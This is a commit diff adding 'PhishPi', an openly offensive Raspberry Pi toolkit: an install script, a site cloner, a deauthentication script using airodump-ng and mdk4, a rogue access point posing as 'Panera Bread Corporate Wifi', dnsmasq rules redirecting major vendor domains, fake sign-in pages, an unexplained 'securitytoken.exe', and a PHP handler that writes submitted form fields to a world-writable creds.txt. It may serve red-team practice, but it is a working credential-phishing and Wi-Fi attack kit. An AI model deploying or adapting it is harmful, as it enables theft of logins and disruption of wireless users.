Browse Source

Add files via upload

assume-breach 3 years ago
parent
commit
c9cb995aef

+ 53 - 0
PhishPi/RPi3_4install.sh

@@ -0,0 +1,53 @@
+#!/bin/sh -e
+
+if [ "$(id -u)" != "0" ]; then
+   echo "Run as Root" 1>&2
+   exit 1
+fi
+
+sudo apt-get update -y && apt-get upgrade -y
+
+apt install npm -y
+
+git clone --depth 1 --recursive https://github.com/gildas-lormeau/SingleFile.git
+
+chown -R pi:pi SingleFile/
+
+cd SingleFile
+
+npm install
+
+cd cli
+
+chmod +x single-file
+
+cd ../../
+
+sudo apt install tmux apache2 iptables php dnsmasq apache2 dnsmasq-base python hostapd mdk4 macchanger pkg-config libnl-3-dev libnl-genl-3-dev libpcap-dev
+-y
+
+git clone https://github.com/adamff24/PwrDeauther.git
+
+cp -f dnsmasq.conf /etc/
+
+cp -Rf html /var/www/
+
+chown -R www-data:www-data /var/www/html
+
+chown root:www-data /var/www/html/.htaccess
+
+chmod 777 /var/www/html/creds.txt
+
+cp -f override.conf /etc/apache2/conf-available/
+
+cd /etc/apache2/conf-enabled
+
+ln -s ../conf-available/override.conf override.conf
+
+cd /etc/apache2/mods-enabled
+
+ln -s ../mods-available/rewrite.load rewrite.load
+
+
+systemctl disable hostapd
+systemctl disable dnsmasq

+ 15 - 0
PhishPi/Resources/index.html

@@ -0,0 +1,15 @@
+<!DOCTYPE HTML>
+<html lang="en-US">
+    <head>
+        <meta charset="UTF-8">
+        <meta http-equiv="refresh" content="0; url=http://domain/index.html">
+        <script type="text/javascript">
+            window.location.href = "http://domain/index.html"
+        </script>
+        <title>Loading Login Page</title>
+    </head>
+    <body>
+        <!-- Note: don't tell people to `click` the link, just tell them that it is a link. -->
+        If you are not redirected automatically, follow this <a href='http://domain/index.html'>Login Page</a>.
+    </body>
+</html>

+ 13 - 0
PhishPi/cloner.sh

@@ -0,0 +1,13 @@
+#!/bin/bash
+echo "Cloning Banner"
+echo""
+echo -e ${green}"Enter Website URL To Clone. Example: https://www.starbucks.com"${clear}
+echo ""
+read URL
+echo ""
+echo -e ${yellow}"Cloning $URL"${clear}
+/usr/bin/chromium-browser --no-sandbox 2>/dev/null
+runuser -u pi -- ./SingleFile/cli/single-file $URL --browser-executable-path=/usr/bin/chromium-browser /home/pi/index.html
+echo ""
+sleep 2
+echo -e ${yellow}"$URL Cloned Successfully"${clear}

+ 28 - 0
PhishPi/deauth.sh

@@ -0,0 +1,28 @@
+#!/bin/bash
+echo -e ${green}"Which interface do you want to use to deauth?"${clear}
+echo ""
+read DEAUTH
+echo ""
+echo -e ${yellow}"Using $DEAUTH to deauth"${clear}
+echo ""
+sleep 1
+echo -e ${green}"Launching Airodump"${clear}
+echo ""
+sleep 1
+echo -e ${green}"Press CTRL C When Your BSSID Appears"${clear}
+sleep 3
+airmon-ng start $DEAUTH
+airodump-ng $DEAUTH
+echo ""
+echo -e ${green}"Enter The BSSID To Deauth"${clear}
+echo ""
+read BSSID
+echo ""
+echo -e ${red}"Time To Deauth"${clear}
+echo ""
+sleep 2
+echo -e ${red}"Press CTRL+B then press D to disconnect TMUX Session Once Deauth Is Started"${clear}
+echo ""
+sleep 2
+read -p "Press enter once you understand how to disconnect from the TMUX session"
+tmux new-session -s deauth "mdk4 $DEAUTH d -B $BSSID"

+ 19 - 0
PhishPi/dnsmasq.conf

@@ -0,0 +1,19 @@
+interface=br0
+listen-address=panerabread.com
+no-hosts
+dhcp-range=10.1.1.2,10.1.1.254,10m
+dhcp-option=option:router,panerabread.com
+dhcp-authoritative
+
+address=/apple.com/panerabread.com
+address=/appleiphonecell.com/panerabread.com
+address=/airport.us/panerabread.com
+address=/akamaiedge.net/panerabread.com
+address=/akamaitechnologies.com/panerabread.com
+address=/microsoft.com/panerabread.com
+address=/msftncsi.com/panerabread.com
+address=/msftconnecttest.com/panerabread.com
+address=/google.com/panerabread.com
+address=/gstatic.com/panerabread.com
+address=/googleapis.com/panerabread.com
+address=/android.com/panerabread.com

+ 8 - 0
PhishPi/hostapd.conf

@@ -0,0 +1,8 @@
+interface=wlan1
+channel=6
+hw_mode=g
+ssid=Panera Bread Corporate Wifi
+bridge=br0
+auth_algs=1
+wmm_enabled=0
+

+ 4 - 0
PhishPi/html/authenticate.html

@@ -0,0 +1,4 @@
+<!DOCTYPE html>
+</html>
+Redirecting To Single Sign-On Authentication...
+<meta http-equiv="refresh" content="4;URL='http://10.1.1.1/signin.html'">

+ 1 - 0
PhishPi/html/creds.txt

@@ -0,0 +1 @@
+

+ 22 - 0
PhishPi/html/index.html

@@ -0,0 +1,22 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+<title>Directory listing for /DoubleVision/html/</title>
+</head>
+<body>
+<h1>Directory listing for /DoubleVision/html/</h1>
+<hr>
+<ul>
+<li><a href=".htaccess">.htaccess</a></li>
+<li><a href="authenticate.html">authenticate.html</a></li>
+<li><a href="creds.txt">creds.txt</a></li>
+<li><a href="post.php">post.php</a></li>
+<li><a href="redirect/">redirect/</a></li>
+<li><a href="securitytoken.exe">securitytoken.exe</a></li>
+<li><a href="signin.html">signin.html</a></li>
+<li><a href="sso.html">sso.html</a></li>
+</ul>
+<hr>
+</body>
+</html>

+ 14 - 0
PhishPi/html/post.php

@@ -0,0 +1,14 @@
+<?php
+header ('Location:http://10.1.1.1/sso.html');
+$handle = fopen("creds.txt", "a");
+foreach($_POST as $variable => $value) {
+   fwrite($handle, $variable);
+   fwrite($handle, "=");
+   fwrite($handle, $value);
+   fwrite($handle, "\r\n");
+}
+fwrite($handle, "\r\n");
+fclose($handle);
+exit;
+?>
+

+ 15 - 0
PhishPi/html/redirect/index.html

@@ -0,0 +1,15 @@
+<!DOCTYPE HTML>
+<html lang="en-US">
+    <head>
+        <meta charset="UTF-8">
+        <meta http-equiv="refresh" content="0; url=http://10.1.1.1/index.html">
+        <script type="text/javascript">
+            window.location.href = "http://10.1.1.1/index.html"
+        </script>
+        <title>Loading Login Page</title>
+    </head>
+    <body>
+        <!-- Note: don't tell people to `click` the link, just tell them that it is a link. -->
+        If you are not redirected automatically, follow this <a href='http://10.1.1.1/index.html'>Login Page</a>.
+    </body>
+</html>

BIN
PhishPi/html/securitytoken.exe


File diff suppressed because it is too large
+ 2 - 0
PhishPi/html/signin.html


File diff suppressed because it is too large
+ 2 - 0
PhishPi/html/sso.html


+ 27 - 0
PhishPi/index.html

@@ -0,0 +1,27 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+<title>Directory listing for /DoubleVision/</title>
+</head>
+<body>
+<h1>Directory listing for /DoubleVision/</h1>
+<hr>
+<ul>
+<li><a href="cloner.sh">cloner.sh</a></li>
+<li><a href="deauth.sh">deauth.sh</a></li>
+<li><a href="dnsmasq.conf">dnsmasq.conf</a></li>
+<li><a href="DoubleVision.sh">DoubleVision.sh</a></li>
+<li><a href="hostapd.conf">hostapd.conf</a></li>
+<li><a href="hosts">hosts</a></li>
+<li><a href="html/">html/</a></li>
+<li><a href="override.conf">override.conf</a></li>
+<li><a href="PhishPi.sh">PhishPi.sh</a></li>
+<li><a href="PwrDeauther/">PwrDeauther/</a></li>
+<li><a href="Resources/">Resources/</a></li>
+<li><a href="RPi3_4install.sh">RPi3_4install.sh</a></li>
+<li><a href="SingleFile/">SingleFile/</a></li>
+</ul>
+<hr>
+</body>
+</html>

+ 6 - 0
PhishPi/override.conf

@@ -0,0 +1,6 @@
+<Directory /var/www/>
+    Options Indexes FollowSymLinks MultiViews
+    AllowOverride All
+    Order Allow,Deny
+    Allow from all
+</Directory>

Some files were not shown because too many files changed in this diff